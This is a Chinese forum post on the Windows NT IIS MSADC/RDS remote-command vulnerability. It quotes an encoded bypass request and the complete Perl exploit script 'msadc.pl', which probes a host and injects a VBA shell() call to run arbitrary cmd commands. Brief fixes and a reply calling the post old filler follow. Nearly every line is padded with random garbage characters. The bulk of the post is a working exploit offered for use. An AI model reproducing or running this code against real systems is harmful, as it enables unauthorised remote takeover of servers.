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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)

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IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷) 9J49s1  
"el3mloR 8  
涉及程序: %kBrxf  
Microsoft NT server  +@Kq  
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描述: S|RUc}(  
1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限 =%FhY^-  
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详细: LwQYO'X  
如果你没有时间读详细内容的话,就删除: `$;%%/tx  
c:\Program Files\Common Files\System\Msadc\msadcs.dll MGKSaP;x  
有关的安全问题就没有了。 g( eA?  
w~9Y=|YI7  
微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。 [9CBTS r  
4%jSqT@  
1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。 v>Kv!OY:c  
关于利用ODBC远程漏洞的描述,请参看: %. IW H9P7  
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http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm pi*?fUg!W  
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2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看 G"<} s mB  
http://www.microsoft.com/security/bulletins/MS99-025faq.asp ~|wh/]{b9  
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这里不再论述。 %8% 0l*n'  
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3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似: !| GD8i  
=WFG[~8  
/%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset #)%dG3)e  
的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!! +N:M;uTS  
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#将下面这段保存为txt文件,然后: "perl -x 文件名" 3 _DJ  
y=y#*yn&  
#!perl kvt"7;(  
# (TGG?V  
# MSADC/RDS 'usage' (aka exploit) script [*=UH* :'N  
# nfr..4,:  
# by rain.forest.puppy R? ,XSJ  
# ;&RHc#1F  
# Many thanks to Weld, Mudge, and Dildog from l0pht for helping me /(A rA=#  
# beta test and find errors! _H2%6t/V  
7}e{&\0=l  
use Socket; use Getopt::Std; %i9*2{e#~  
getopts("e:vd:h:XR", \%args); .TRp74  
\G]vTK3  
print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n"; qZ+^ND(I  
W(*?rA-PP  
if (!defined $args{h} && !defined $args{R}) { Y5Z<uD  
print qq~ z6Yx )qBE<  
Usage: msadc.pl -h <host> { -d <delay> -X -v } ];}7 %3  
-h <host> = host you want to scan (ip or domain) #J c)v0_  
-d <seconds> = delay between calls, default 1 second pB]+c%\  
-X = dump Index Server path table, if available Je~Ybh  
-v = verbose ]M9r<x*  
-e = external dictionary file for step 5 ZEU/6.  
^5gB?V,  
Or a -R will resume a command session =g^JJpS  
{B6tGLt#bf  
~; exit;} `OyYo^+D|.  
Rwz (20n\^  
$ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target=""; Q(YQ$ i"S  
if (defined $args{v}) { $verbose=1; } else {$verbose=0;} 2Yd;#i)  
if (defined $args{d}) { $delay=$args{d};} else {$delay=1;} DKf:0E8  
if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/); O>L 5 dP  
$target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");} 9"k^:}8.  
if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; } =dI2j@}c  
1|\/2  
if (!defined $args{R}){ $ret = &has_msadc; M6b6lhg  
die("Looks like msadcs.dll doesn't exist\n")if $ret==0} )eSD5hOI)  
.3 T#:Hl  
print "Please type the NT commandline you want to run (cmd /c assumed):\n" o4pe>hn  
. "cmd /c "; wS1zd?  
$in=<STDIN>; chomp $in; ]^CNC0  
$command="cmd /c " . $in ; )h?Pz1-W1  
?qjlWCV|e  
if (defined $args{R}) {&load; exit;} !+I!J s"  
P"mD 73a  
print "\nStep 1: Trying raw driver to btcustmr.mdb\n"; ( u}tUv3  
&try_btcustmr; tqe8:\1yK  
FY;R0+N  
print "\nStep 2: Trying to make our own DSN..."; V2|XcR  
&make_dsn ? print "<<success>>\n" : print "<<fail>>\n"; ! .|\}=[e  
yY42+%P  
print "\nStep 3: Trying known DSNs..."; |nj,]pA  
&known_dsn; wi/dR}*A  
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print "\nStep 4: Trying known .mdbs..."; :s OsG&y  
&known_mdb; U ORoj )$I  
[P23.`G~J  
if (defined $args{e}){ <O?UC/$)7  
print "\nStep 5: Trying dictionary of DSN names..."; H-.8{8  
&dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; } 4#y  
:vJ0Ypz-u  
print "Sorry Charley...maybe next time?\n"; (>Tq  
exit; g!`$bF=e  
P 6|\ ^  
############################################################################## ENi@R\ p  
&ahZ_9Q  
sub sendraw { # ripped and modded from whisker ${F] N }  
sleep($delay); # it's a DoS on the server! At least on mine... /!Ng"^.e  
my ($pstr)=@_; %7~~*_G  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || H#;-(`F  
die("Socket problems\n"); 1tQl^>r16  
if(connect(S,pack "SnA4x8",2,80,$target)){ ?N*|S)BN  
select(S); $|=1; r8E)GBH-|  
print $pstr; my @in=<S>; /Z*XKIU6v/  
select(STDOUT); close(S); g4 |s9RMD  
return @in; JH;\wfr D  
} else { die("Can't connect...\n"); }} 7 a}qnk %  
DVq 5[ntG  
############################################################################## .3.oan*i  
gf8DhiB  
sub make_header { # make the HTTP request eD481r  
my $msadc=<<EOT L(2KC>GvA  
POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1 %kJ_o*"  
User-Agent: ACTIVEDATA JW4~Qwx  
Host: $ip MdOQEWJ$|  
Content-Length: $clen 5L}qL?S`x|  
Connection: Keep-Alive &u'$q  
f6h!wx  
ADCClientVersion:01.06 [nam H a  
Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3 X_eh+>D  
5 5_#?vw  
--!ADM!ROX!YOUR!WORLD! }t[?g)"M#-  
Content-Type: application/x-varg Y&Sk/8  
Content-Length: $reqlen Z'vGX,:  
Je#vl4<L  
EOT X^U)j N2  
; $msadc=~s/\n/\r\n/g; j[fVF3v  
return $msadc;} QM }TPE  
b!R\u1b  
############################################################################## U h'1f7%  
Q~A25Jf .  
sub make_req { # make the RDS request 2=TQU33#  
my ($switch, $p1, $p2)=@_; Uva b*9vX  
my $req=""; my $t1, $t2, $query, $dsn; bI,gNVN=  
B9RB/vHH  
if ($switch==1){ # this is the btcustmr.mdb query -&u2C}4s  
$query="Select * from Customers where City=" . make_shell(); .'y]Ea  
$dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" . !Rzw[~  
$p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";} Tc DkKa  
8_S<zE`Ha  
elsif ($switch==2){ # this is general make table query !kl9X-IiI  
$query="create table AZZ (B int, C varchar(10))"; <4{,u1!t  
$dsn="$p1";} L"akV,w4p  
y%21`y&Os  
elsif ($switch==3){ # this is general exploit table query q7 ;TdQ  
$query="select * from AZZ where C=" . make_shell(); $Xf gY1S  
$dsn="$p1";} 9w Pc03a  
B%c):`w8]  
elsif ($switch==4){ # attempt to hork file info from index server e.<$G'  
$query="select path from scope()"; oc>ne]_'  
$dsn="Provider=MSIDXS;";} v^a. b  
gm63dE>  
elsif ($switch==5){ # bad query Q}a 1P8?S  
$query="select"; 5m`@ 4%)zp  
$dsn="$p1";} WdGjvs  
]F5qXF5  
$t1= make_unicode($query); 5{Xld,zw  
$t2= make_unicode($dsn); $Q[a^V~:  
$req = "\x02\x00\x03\x00"; ^;b$`*M1  
$req.= "\x08\x00" . pack ("S1", length($t1)); #4ZDY,>Xi#  
$req.= "\x00\x00" . $t1 ; t UJ m}+=>  
$req.= "\x08\x00" . pack ("S1", length($t2)); J1^6p*]GX  
$req.= "\x00\x00" . $t2 ; R)AFaP |  
$req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n"; Ub%al D  
return $req;} o!`.LL%  
!}D!_z,)u  
############################################################################## GB1[`U%  
uM\(#jZ  
sub make_shell { # this makes the shell() statement  m/)Wn  
return "'|shell(\"$command\")|'";} }vRs n-E@  
$q]:m+Fm  
############################################################################## V=pg9KR!T  
T>l=0a #  
sub make_unicode { # quick little function to convert to unicode W 2VH?-Gw  
my ($in)=@_; my $out; xr uQ=Q  
for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; } tK3.HvD  
return $out;} 4}FuoQL  
/;t42 g9w  
############################################################################## X&1R6 O  
4+t9"SD  
sub rdo_success { # checks for RDO return success (this is kludge) c]`}DH,TJ  
my (@in) = @_; my $base=content_start(@in); Ds4n>V,o  
if($in[$base]=~/multipart\/mixed/){ #:{Bd8PS  
return 1 if( $in[$base+10]=~/^\x09\x00/ );} O Xy>Tlv  
return 0;} 36154*q  
N#-P}\Q9  
############################################################################## ;?>xuC$  
+1j@n.)ft  
sub make_dsn { # this makes a DSN for us [-)N}rL>  
my @drives=("c","d","e","f"); (Yz EsY  
print "\nMaking DSN: "; _cqB p7  
foreach $drive (@drives) { 1us-ootsjP  
print "$drive: "; yIBT*,4  
my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" . c}a.  
"Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq=" 3%?01$k  
. $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n"); %(GWR@mfC  
$results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#; ?\dY!  
return 0 if $2 eq "404"; # not found/doesn't exist ?lJm}0>  
if($2 eq "200") { KLW#+vZ  
foreach $line (@results) { seh1(q?Va4  
return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}  pei-R  
} return 0;} MS,J+'2  
@B;2z_Y!l  
############################################################################## 12\h| S~  
C0o 0 l>  
sub verify_exists { <0OZ9?,dm  
my ($page)=@_; F6*n,[5(  
my @results=sendraw("GET $page HTTP/1.0\n\n"); 6Y^UC2TBs  
return $results[0];} }Yt/e-Yg%r  
*{t{/^'y  
############################################################################## =v-BzF15  
C%LRb{|d  
sub try_btcustmr { gVM9*3LH6  
my @drives=("c","d","e","f"); 0oI3Fb;E  
my @dirs=("winnt","winnt35","winnt351","win","windows"); 6/ir("LK  
A)/ 8FYc  
foreach $dir (@dirs) { Az29?|e  
print "$dir -> "; # fun status so you can see progress 5?+ECxPt  
foreach $drive (@drives) { /; ;_l2t  
print "$drive: "; # ditto h:iK;  
$reqlen=length( make_req(1,$drive,$dir) ) - 28; hnM?wn  
$reqlenlen=length( "$reqlen" ); 1b:3'E.#w  
$clen= 206 + $reqlenlen + $reqlen; zKr\S |yE  
Hi$J@xU  
my @results=sendraw(make_header() . make_req(1,$drive,$dir)); T/DKT1P-  
if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;} A`Vz5WB  
else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}} 8OoKP4,;  
`mTpL^f  
############################################################################## xSFY8  
VG*Tdaua~  
sub odbc_error { C~PrIM?  
my (@in)=@_; my $base; lf4V; |!^  
my $base = content_start(@in); 4,CQJ  
if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this w] b3,b  
$in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; ~1&%,$fZ  
$in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; P?GHcq$\  
$in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g; {&,9Zy]"S  
return $in[$base+4].$in[$base+5].$in[$base+6];} m6J7)Wp  
print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n"; 7%C6hEP/*W  
print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] . <aJdm!6  
$in[$base+4] . $in[$base+5] . $in[$base+6]; exit;} T4,dhS|  
0 1U/{D6D  
############################################################################## ^&oa\7<'  
5gnNgt~  
sub verbose { ]J;pUH+u  
my ($in)=@_; 2GNtO!B.  
return if !$verbose; 0d!1;jy,T  
print STDOUT "\n$in\n";} iiS^xqSNCt  
|7Fe~TC  
############################################################################## MP/6AAt7=|  
T#'+w@Q9{9  
sub save { \ IJ\  
my ($p1, $p2, $p3, $p4)=@_; u_[^gS7  
open(OUT, ">rds.save") || print "Problem saving parameters...\n"; /QDlm>FM4  
print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n"; 5$o]D  
close OUT;} s@^ (1g[w`  
f/t1@d!  
############################################################################## 2P9gS[Ub  
'\qd{mM\r  
sub load { Vb>!;C  
my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq="; c,a+u  
open(IN,"<rds.save") || die("Couldn't open rds.save\n"); 0j*-ZvE)30  
@p=<IN>; close(IN); N*6Y5[g!\  
$ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/); bF:]MB^VK  
$target= inet_aton($ip) || die("inet_aton problems"); |=H*" (  
print "Resuming to $ip ..."; cI)T@Zg_o+  
$p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g; \ .H X7v  
if($p[1]==1) { <}S1ZEZcQ  
$reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28; B{'x2I#,  
$reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen; 5y07@x  
my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]")); YEF|SEon0  
if (rdo_success(@results)){print "Success!\n";} rYUhGmg`  
else { print "failed\n"; verbose(odbc_error(@results));}} R/8>^6  
elsif ($p[1]==3){ U$o\?4  
if(run_query("$p[3]")){ |_Vi8Ly  
print "Success!\n";} else { print "failed\n"; }} zlC|Spaf  
elsif ($p[1]==4){ j0b?dKd  
if(run_query($drvst . "$p[3]")){ SE= 3`rVJ  
print "Success!\n"; } else { print "failed\n"; }} j+0=)Q%I=  
exit;} dIiQ^M  
eekp&H$'s  
############################################################################## .a._WZF  
^E_`M:~  
sub create_table { xBH`=e <  
my ($in)=@_; =ML6"jr  
$reqlen=length( make_req(2,$in,"") ) - 28; ?n o.hf  
$reqlenlen=length( "$reqlen" ); 19a/E1  
$clen= 206 + $reqlenlen + $reqlen; 2Qg.b- C  
my @results=sendraw(make_header() . make_req(2,$in,"")); q{/>hvl  
return 1 if rdo_success(@results); /Po't(-x  
my $temp= odbc_error(@results); verbose($temp); 2Cd#~  
return 1 if $temp=~/Table 'AZZ' already exists/; lWj{pyZ  
return 0;} ld58R  
=C{)i@ +  
############################################################################## _^cDB1I ?  
49b#$Xq  
sub known_dsn { &|('z\k  
# we want 'wicca' first, because if step 2 made the DSN, it's ready to go 6u>${}  
my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications", bQG2tDvu[  
"cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM", D 3m4:z  
"banner", "banners", "ads", "ADCDemo", "ADCTest"); .{+<o  
[gm[mwZ  
foreach $dSn (@dsns) { 2_lgy?OE`  
print "."; ,-7w\%*  
next if (!is_access("DSN=$dSn")); +Bk d  
if(create_table("DSN=$dSn")){ WE""be8  
print "$dSn successful\n"; c>+l3&`  
if(run_query("DSN=$dSn")){ .nCF`5T!  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { 7\*_/[B  
print "Something's borked. Use verbose next time\n";}}} print "\n";} W]Z;=-CBr  
*,g|I8?%VD  
############################################################################## rUjK1A{V  
SaK aN#C  
sub is_access { IQ_2(8Kv  
my ($in)=@_; }C1&}hZ  
$reqlen=length( make_req(5,$in,"") ) - 28; hES_JbX}]  
$reqlenlen=length( "$reqlen" ); DiMkcK_e  
$clen= 206 + $reqlenlen + $reqlen; aw9/bp*N  
my @results=sendraw(make_header() . make_req(5,$in,"")); yRt]i>  
my $temp= odbc_error(@results); }3sj{:z{  
verbose($temp); return 1 if ($temp=~/Microsoft Access/); Y;3DU1MG0  
return 0;} l);M(<  
gMe)\5`\Y  
############################################################################## {E *dDv  
,Bh!|H(?L1  
sub run_query {  qW8sJ=  
my ($in)=@_; 0#}Ed Q  
$reqlen=length( make_req(3,$in,"") ) - 28; ^2-2Jz@  
$reqlenlen=length( "$reqlen" ); x(J|6Ey7!n  
$clen= 206 + $reqlenlen + $reqlen; ;=goIsk{Q  
my @results=sendraw(make_header() . make_req(3,$in,"")); nX(2&<  
return 1 if rdo_success(@results); >`Xikn(  
my $temp= odbc_error(@results); verbose($temp); oNHbQ&h  
return 0;} WW33ZJ  
vR$[#`X  
############################################################################## 'TWZ@8h~  
xa+=9=<AQ  
sub known_mdb { ??& Q"6Oe  
my @drives=("c","d","e","f","g"); $'D|}=h<Y  
my @dirs=("winnt","winnt35","winnt351","win","windows"); ut8v&i1?  
my $dir, $drive, $mdb; ;&B;RUUnTO  
my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq="; 3F fS2we  
V 8`o71p  
# this is sparse, because I don't know of many eZes) &4  
my @sysmdbs=( "\\catroot\\icatalog.mdb", m$^Wyk}  
"\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb", ?wzE+p-  
"\\system32\\certmdb.mdb", )}QtK+Rq  
"\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot% x6Q,$B  
r;}%} /IX  
my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb", LIfQh  
"\\cfusion\\cfapps\\forums\\forums_.mdb", Ne7HPSWiOP  
"\\cfusion\\cfapps\\forums\\data\\forums.mdb", =7{n 2  
"\\cfusion\\cfapps\\security\\realm_.mdb", WGwpryaya  
"\\cfusion\\cfapps\\security\\data\\realm.mdb", ;.$AhjqiP  
"\\cfusion\\database\\cfexamples.mdb", N y_d  
"\\cfusion\\database\\cfsnippets.mdb", F_>OpT  
"\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb", J3Ipk-'lx  
"\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb", 64]_o/u5W4  
"\\cfusion\\brighttiger\\database\\cleam.mdb", F+yu[Dh:  
"\\cfusion\\database\\smpolicy.mdb", O$ dz=)  
"\\cfusion\\database\cypress.mdb", VF8pH <  
"\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb", {%g]Ym=  
"\\website\\cgi-win\\dbsample.mdb", 3[mVPV  
"\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb", .Jk[thyU  
"\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb" Z$qLY<aV  
); #these are just G 3))3]  
foreach $drive (@drives) {  )l 0\TF  
foreach $dir (@dirs){ Nl~'W  
foreach $mdb (@sysmdbs) { $07;gpZt  
print "."; HRX}r$  
if(create_table($drv . $drive . ":\\" . $dir . $mdb)){ fuRCM^U(  
print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n"; IM-O<T6r[N  
if(run_query($drv . $drive . ":\\" . $dir . $mdb)){ ;2Aqztp  
print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit; $oF0[}S  
} else { print "Something's borked. Use verbose next time\n"; }}}}} VK>ZH^-  
QD6<sw@]P  
foreach $drive (@drives) { ~z;G$jd  
foreach $mdb (@mdbs) { Zb> UY8  
print "."; )fPN6x/e  
if(create_table($drv . $drive . $dir . $mdb)){ /2 V  
print "\n" . $drive . $dir . $mdb . " successful\n"; ]w7wwU^^*U  
if(run_query($drv . $drive . $dir . $mdb)){ R@ksYC3 F  
print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit; l/WQqT  
} else { print "Something's borked. Use verbose next time\n"; }}}} u7Z-kZ  
} 3zC<k2B  
p'SclH[   
############################################################################## ~kHWh8\b:  
90R z#qrI*  
sub hork_idx { 7$"{&T  
print "\nAttempting to dump Index Server tables...\n"; -M\ae  
print " NOTE: Sometimes this takes a while, other times it stalls\n\n"; pBo=omQV  
$reqlen=length( make_req(4,"","") ) - 28; Y.>F fL  
$reqlenlen=length( "$reqlen" ); W(~7e?fO  
$clen= 206 + $reqlenlen + $reqlen; 6uNWL `v  
my @results=sendraw2(make_header() . make_req(4,"","")); ]7+9>V  
if (rdo_success(@results)){ L !/Zw~  
my $max=@results; my $c; my %d; KK-}&N8  
for($c=19; $c<$max; $c++){ VsIDd}~C%  
$results[$c]=~s/\x00//g; Y52f8qQq  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g; P*=M?:Jb,  
$results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g; fXo$1!  
$results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/; pi?$h"y7Q  
$d{"$1$2"}="";} CEQs}bz  
foreach $c (keys %d){ print "$c\n"; } JU>F&g/|  
} else {print "Index server doesn't seem to be installed.\n"; }} 'YFy6rds  
+!"GYPUXy  
############################################################################## 0oT~6BGm  
"pRi1Y5)l  
sub dsn_dict { !>E$2}Q|]  
open(IN, "<$args{e}") || die("Can't open external dictionary\n"); ,)u1r3@I^  
while(<IN>){ ^T>P  
$hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print "."; %s&"gWi  
next if (!is_access("DSN=$dSn")); 0j\} @  
if(create_table("DSN=$dSn")){ }\#u~k!l  
print "$dSn successful\n"; :'6vIPN5  
if(run_query("DSN=$dSn")){ ya`Z eQ-p  
print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else { _bsAF^ ;  
print "Something's borked. Use verbose next time\n";}}} UnVYGch  
print "\n"; close(IN);} -l(G"]tRB  
i#4}xvi  
############################################################################## l%\p  
 $I*<gn9  
sub sendraw2 { # ripped and modded from whisker w20)~&LE-  
sleep($delay); # it's a DoS on the server! At least on mine... ZovF]jf k  
my ($pstr)=@_; l&JV.}qGB8  
socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || f;{K+\T  
die("Socket problems\n"); y=HM]EH>  
if(connect(S,pack "SnA4x8",2,80,$target)){ %]"eN{Uvn  
print "Connected. Getting data"; n{*A<-vL  
open(OUT,">raw.out"); my @in; {JGXdp:SB  
select(S); $|=1; print $pstr; jjJvyZi~J  
while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";} UlNx5l+k  
close(OUT); select(STDOUT); close(S); return @in; L9Z\|L5  
} else { die("Can't connect...\n"); }} v#^_|  
S UB rFsA  
############################################################################## Pt=@U:  
/mK."5-cm  
sub content_start { # this will take in the server headers .ri?p:a}w  
my (@in)=@_; my $c; o;[cApiQ,2  
for ($c=1;$c<500;$c++) { qu`F,OG  
if($in[$c] =~/^\x0d\x0a/){ r]3v.GZy  
if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; } MkK6.qV\z  
else { return $c+1; }}} r-e-2y7  
return -1;} # it should never get here actually ^ }kqAmr  
]39])ul  
############################################################################## 'hNRIM1  
V*,6_ -^l  
sub funky { *KYh_i  
my (@in)=@_; my $error=odbc_error(@in); uY;7&Lw y1  
if($error=~/ADO could not find the specified provider/){ )u?^w  
print "\nServer returned an ADO miscofiguration message\nAborting.\n"; M+l~^E0Wj  
exit;} P[K42 mm  
if($error=~/A Handler is required/){ y F;KyY{  
print "\nServer has custom handler filters (they most likely are patched)\n"; =WEWs4V5A  
exit;} TQL_K8k@_  
if($error=~/specified Handler has denied Access/){ P;bOtT --  
print "\nServer has custom handler filters (they most likely are patched)\n"; Q=u [j|0mc  
exit;}}  [1Q:  
AMe_D  
############################################################################## jJ7"9  
SdXAL  
sub has_msadc { Ue&I]/?;$  
my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n"); |Duf 3u  
my $base=content_start(@results); c~)H" n  
return 1 if($results[$base]=~/Content-Type: application\/x-varg/); 3gQ2wP*K  
return 0;} #,S0uA  
=`EVg>+^  
######################## &BOG&ot  
} $oZZKS  
\R.Fmeko  
解决方案: tSX,*cz  
1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll Z}`A'#!  
2、移除web 目录: /msadc
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只看该作者 1 发表于: 2006-06-30
很老的一篇文章 :pNu$%q  
mNQ*YCq.  
拿出来充数 哈哈
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